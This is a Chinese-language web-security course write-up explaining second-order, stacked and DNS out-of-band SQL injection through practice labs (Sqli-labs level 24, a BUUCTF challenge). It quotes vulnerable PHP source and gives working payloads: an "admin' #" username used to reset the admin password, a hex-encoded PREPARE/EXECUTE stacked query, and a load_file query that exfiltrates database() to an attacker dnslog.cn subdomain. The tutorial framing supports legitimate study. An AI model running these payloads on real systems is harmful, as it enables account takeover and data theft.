文章目录
前记
- 今天是学习小迪安全的第四十五天,本节课是SQL注入的最后一讲,主要内容是SQL注入的最后三种不太常见的注入方式——二次注入、堆叠注入和带外注入
- 这节课主要是以理解原理为主,实战中使用条件比较苛刻,思路和思想比较重要
WEB攻防——第四十五天
PHP应用&SQL二次注入&堆叠注入&DNS带外注入&功能点&黑白盒条件
PHP - MySQL&二次注入
二次注入原理
- 什么是二次注入,其实很简单,它满足的条件就是先插后取 ==> 先执行插入操作,再执行查询/更新操作
- 简单来说就是,数据库会先插入我们恶意的SQL语句,但在当前的功能点这个恶意SQL语句是不执行的;我们可以通过另外一个地方去尝试让服务器自己调用这个恶意SQL语句,达到注入的效果
- 那你会问,插入时SQL语句都不执行,后面为什么会执行呢?
- 这里就是二次注入的关键点:它需要在执行插入语句的时候将我们代码中的引号这些转义掉
- 而在数据库中插入数据时出现转义符会将转义符去掉,然后将全部字符当作字符串处理,就不会导致提前闭合
实战源码分析
-
可能听起来有点抽象,我们
Sqli-labs
第24关实战一下应该就能够理解了,先给一张原理图:
-
假设我们知道用户名是
admin
,但是不知道密码是多少:
-
首先尝试一下万能密码
admin' or 1=1 #
:
-
登录失败,提示我是个愚蠢的黑客,说明有过滤,看一看源码
login.php
:
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row) ;
if ($row[1]) {
return $row[1];
} else {
return 0;
}
-
可以看到使用了
mysql_real_escape_string()
函数,这个函数就是用来转义我们的输入的引号,他会转义成\'
或者\"
,所以我们无法注入 -
我们看到他有修改密码的选项,我们看能不能试着修改
admin
的密码,发现这里点不了:
-
看一看源码,有什么触发条件:
// 从SESSION中取出"username"
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
{
// 更新密码!
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
// 其他代码
}
else
{
// 其他代码
}
- 他需要有SESSION值才行,说明要先登录,然后我们看到他下面有一个更新数据的SQL语句
- 这里有一个很重要的点就是:他不是我们输入username的方式去接收该参数的
- 也就是说这里他不会对
username
的值做任何转义操作,所以假设我的用户名是admin' #
,那么他的更新语句就会变成:
UPDATE users SET PASSWORD='123456' where username='admin' # ' and password='admin123';
- 那么实际执行的SQL语句就是
UPDATE users SET PASSWORD='123456' where username='admin'
,将admin
用户的密码更改为了123456
,那我们就可以直接登录了 - 好,现在思路有了,我们就找一找哪里能够让我们的
SESSION
中username
为admin' #
- 那这里刚好有注册按钮,又看一看注册用户的源码
login_create.php
:
// 判断用户名是否已存在
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
echo "<font size='3' color='#FFFF00'>";
// 查询用户名是否已存在
$sql = "select count(*) from users where username='$username'";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
// 如果用户名已存在
if (!$row[0]== 0)
{
// 不重要的代码
}
// 如果用户名不存在 ==> 重要的点在这里
else
{
if ($pass==$re_pass)
{
// 更新数据SQL语句!
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
// 其他代码
}
else
{
// 其他代码
}
}
-
可以看到这里仍然有转义语句,所以也没办法注入,但是这也说明了我可以注册带有特殊字符的名字
-
所以我们注册用户
admin' #
,密码为123456
-
那么我们再利用这个账号登录,让
username
存入SESSION中,然后修改密码,不就可以实现我们的设想了吗?
-
好,现在成功登录,然后我们修改密码为
12345
:
-
这时候按我们的推测应该是修改的
admin
的密码,那直接登录一下:
-
成功登录, 当然了,这里因为他有
die()
函数,那么你是不是可以尝试报错注入啊,把用户名修改成aa' and updatexml(1,concat(0x7e,(select version()),0x7e),3) #
看一看,但是这里他限制了用户名长度,所以pass -
这里没有使用gay迪课程上的例子是因为我觉得靶场上的例子要易于理解一点,所以我就没有复现
-
那么通过这个案例,我想你应该能够理解什么是二次注入,这个直接讲其实是不太好理解的,所以还是希望你能够把这个例子自己过一过
可能遇到的配置问题
- 如果使用的Windows搭建的Sqli-labs靶场,可能会发生登录之后只有一个
you are logged
空白页面的情况 - 出现这种情况是因为缺少了一个
logged-in.php
文件 - 这里文件里原本有
Logged-in.php
和logged-in.php
文件,由于Wiindows对大小写不敏感,所以导致文件重名了,所以logged-in.php
文件被删除了 - 解决办法就是将
logged-in.php
(源文件从压缩包中复制即可)重命名,比如我这里命名为logged_in.php
- 然后将整个文件夹放入
PhpStrom
,搜索logged-in.php
,将其替换为logged_in.php
即可
二次注入总结
- 总的来说,如果要形成二次注入,需要满足以下条件:
- 业务逻辑中数据是先插后取的
- 数据插入时有转义函数(
mysql_escape_string()
、addslashes()
) - 后续查询/更新其他数据需要用到插入的数据
- 那可以看到满足的条件还是比较苛刻的,所以实战中不会经常遇到,当然可能遇到了也找不到,因为需要测试的点太多了
- 测试思路:
- 黑盒测试:分析功能有添加后对数据操作的地方(功能点)
- 白盒测试:
insert
后进入select
或update
的功能的代码块
PHP - MySQL&堆叠注入
堆叠注入原理
- 堆叠注入,也很简单,就是能够同时执行多条恶意SQL语句,每条语句使用
;
隔开 - 原理很简单,但是实战中很难碰到,因为他的触发条件也比较苛刻,需要满足以下条件:
- 目标存在SQL注入漏洞
- 目标不能过滤分号(
;
) - 目标中间层查询数据库信息时可以同时执行多条SQL语句
- 使用的数据库支持堆叠注入(MySQL、MSSQL、Postgresql等)
- 在php中,需要有
mysqli_multi_query()
函数 - 所以实战中基本碰不到,但CTF可能会碰到,如果不打CTF,那了解原理即可
实战案例
-
这里以BUUCTF中的 [强网杯 2019 随便注] 为例
-
判断是字符型还是数字型,输入
1'
会产生报错:
-
判断闭合符为单引号,这里就不尝试其他的注入方法了,直接堆叠注入,
payload
为';show databases;#
“:
-
出库名了,然后看一下
show tables
表名:
-
然后尝试
select * from 191xxx
读取第一个表的值:
-
提示不让用
select
,那就尝试绕过吧,这里绕过语句为1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
:
-
这里如果想要看这个
payload
是怎么得来的同学可以看看这篇文章:buuctf[强网杯 2019]随便注 1(超详细,三种解法)-CSDN博客 -
我这里就只是让你了解存在堆叠注入这么一种SQL注入方式
PHP - MySQL&DNSLog带外注入
带外注入原理
- DNSLog带外注入,他主要用于页面完全没有回显,或者页面就只有一种回显的时候,就是你压根不知道你的SQL语句执没执行的时候可以用它,也算是盲注的一种
- 它的原理很简单,就是诱使目标数据库向攻击者控制的域名发起DNS查询,并将查询结果(如敏感数据)以子域名形式携带在请求中,最终通过监控DNS日志获取外传的数据,就是将查询的数据带出去
- 但它一般也不常用啊,因为利用条件也是非常苛刻的:
secure_file_priv
选项设置为空- 高权限数据库用户ROOT
- 服务器为Windows
- 只有这些条件都满足,我们才能成功外带数据
- 那你说都已经满足前两个条件了,我直接写木马不香吗?还注入个鸡毛啊,对吧?
- 所以这里仅仅是了解原理,以及了解DNS带外这种思想,因为我们在其他地方可能用到,比如反向连接、命令执行、SSRF、解决不回显等
- DNSLog平台:
实战案例
-
这里以之前的php新闻页面为例:
-
先获取一个dns域名:
-
然后写入这个语句:
' and (select load_file(concat("//",(select database()),".gkovsp.dnslog.cn/abcd"))) --+
- "//"是什么:根据load_file函数的语法规则,访问互联网中的文件时,我们需要在最前面加上两个斜杠 //
- 为什么要加
/abcd
:只有加上后面的文件名load_file函数才会帮我们去请求访问这个文件的内容,从而留下DNS记录
-
可以看到这里的
database()
被成功执行了,然后就继续按照之前常规方式注入即可
总结
- 本节课主要介绍了SQL注入实战中不太常见的注入方式,包括二次注入、堆叠注入和带外注入,基本只需要了解原理即可
- 然后是实战案例,拓宽我们的眼界,万一遇到了确实可以尝试一下